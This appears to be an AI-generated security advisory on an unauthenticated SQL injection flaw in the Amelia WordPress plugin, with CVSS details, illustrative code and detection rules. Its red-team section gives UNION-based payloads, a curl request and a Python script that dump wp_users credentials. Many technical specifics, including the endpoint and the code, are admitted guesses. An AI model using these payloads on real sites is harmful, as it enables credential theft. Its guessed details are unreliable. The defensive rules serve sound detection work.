CVE-2025-12482

Executive Summary

CVE-2025-12482 is a critical unauthenticated SQL Injection vulnerability in the Amelia plugin for WordPress (versions up to and including 1.2.35). The flaw exists in the search parameter, where insufficient input escaping and lack of prepared statements allow an attacker to inject arbitrary SQL queries. This can lead to extraction of sensitive data from the WordPress database, including user credentials, session tokens, and other confidential information. The vulnerability requires no authentication and can be exploited remotely. As of this report, no official patch has been released, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains high due to the unauthenticated nature and potential for data breach.

WordPress Ecosystem Context

This vulnerability is specific to the Amelia WordPress plugin. It is not related to Apache or Nginx server software. The attack vector is through the WordPress REST API or front-end AJAX endpoints that process the search parameter.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (HIGH)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: High. The vulnerability allows unauthenticated attackers to dump the entire WordPress database, including password hashes, user emails, and other sensitive data. Although the EPSS score is currently 0.0%, the lack of a patch and the ease of exploitation make this a significant threat.

Deep Dive & Mechanics

The vulnerability resides in the Amelia plugin's search functionality, likely used for booking appointments or searching events. The search parameter is passed directly into an SQL query without proper sanitization or parameterization. The plugin uses esc_sql() or similar insufficient escaping, which does not prevent SQL injection when the query is constructed using string concatenation.

Root Cause:

• The plugin fails to use prepared statements (e.g., $wpdb->prepare()).
• The search parameter is concatenated directly into the SQL query string.
• The escaping function used (if any) is inadequate for the context (e.g., not using %s placeholders).

Attack Vector: An unauthenticated attacker sends a crafted HTTP request to the vulnerable endpoint (e.g., /wp-json/amelia/v1/search or a custom AJAX action). The search parameter contains SQL injection payloads such as:

' OR 1=1 UNION SELECT user_login,user_pass FROM wp_users --

Impact:

• Extraction of all WordPress user credentials (hashed passwords).
• Access to user meta, posts, and other sensitive data.
• Potential privilege escalation if combined with other vulnerabilities.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.2.35):

// Example vulnerable code (simulated)
$search = $_GET['search'];
$query = "SELECT * FROM wp_amelia_appointments WHERE name LIKE '%" . $search . "%'";
$results = $wpdb->get_results($query);

Patched Code (Hypothetical):

// Patched code using prepared statements
$search = $_GET['search'];
$query = $wpdb->prepare(
    "SELECT * FROM wp_amelia_appointments WHERE name LIKE %s",
    '%' . $search . '%'
);
$results = $wpdb->get_results($query);

Key Difference: The patched version uses $wpdb->prepare() with a placeholder (%s), which ensures the input is properly escaped and parameterized, preventing SQL injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with Amelia plugin <= 1.2.35.
• No authentication required.

Exploit Steps:

1. Identify the vulnerable endpoint (e.g., via WordPress REST API or AJAX action).
2. Craft a malicious request with SQL injection payload in the search parameter.
3. Extract data using UNION-based or blind SQL injection techniques.

Example Request (using curl):

curl -k "https://target.com/wp-json/amelia/v1/search?search=' UNION SELECT user_login,user_pass,user_email,display_name FROM wp_users-- -"

Automated Exploit (Python):

import requests

target = "https://target.com/wp-json/amelia/v1/search"
payload = "' UNION SELECT user_login,user_pass,user_email,display_name FROM wp_users-- -"
params = {'search': payload}
response = requests.get(target, params=params)
print(response.text)

Note: No public exploit code is available at this time. The above is a conceptual example.

Blue Team (Detection & Defense)

Detection:

• Monitor for SQL injection patterns in HTTP requests to Amelia endpoints.
• Look for unusual characters in the search parameter (e.g., single quotes, UNION, SELECT).
• Use WAF rules to block common SQL injection payloads.

Defense:

• Immediately disable the Amelia plugin if no patch is available.
• Implement a Web Application Firewall (WAF) with SQL injection rules.
• Use input validation and parameterized queries in custom code.
• Monitor database logs for suspicious queries.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /wp-json/amelia/v1/search or /wp-admin/admin-ajax.php?action=amelia_search with search parameter containing SQL keywords.
• User-Agent strings associated with automated exploitation tools (e.g., sqlmap, curl).

File IOCs:

• Modified WordPress database tables (e.g., wp_users, wp_usermeta).
• Suspicious entries in wp_options or wp_posts.

Log IOCs:

• Database error logs showing SQL syntax errors.
• Web server access logs with ' UNION SELECT or OR 1=1 patterns.

Detection Engineering

YARA Rule

rule CVE_2025_12482_Amelia_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting Amelia plugin search parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-12482"
    strings:
        $sqli1 = /search=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
        $sqli2 = /search=.*\b(1=1|1=2|admin'--)\b/i
        $sqli3 = /search=.*\b(WAITFOR|DELAY|SLEEP|BENCHMARK)\b/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-12482 Amelia SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against the Amelia WordPress plugin search parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - 'search='
        cs-uri-query|re:
            - "'.*OR.*1=1"
            - "'.*UNION.*SELECT"
            - "'.*--"
            - "'.*#"
    condition: selection
falsepositives:
    - Legitimate search queries with special characters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-12482 Amelia SQL Injection Attempt"; flow:to_server,established; content:"/wp-json/amelia/v1/search"; http_uri; content:"search="; http_uri; pcre:"/search=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Amelia plugin until a patch is released.
2. Implement a WAF with custom rules to block SQL injection patterns.
3. Monitor database logs for unauthorized queries.

Long-term Fix:

• The vendor must release a patched version that uses prepared statements.
• If no patch is forthcoming, consider replacing the plugin with an alternative.

Workaround:

• Add the following .htaccess rule to block malicious requests:

RewriteEngine On
RewriteCond %{QUERY_STRING} ('.*OR.*1=1|'.*UNION.*SELECT|'.*--|'.*#) [NC]
RewriteRule ^ - [F,L]

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.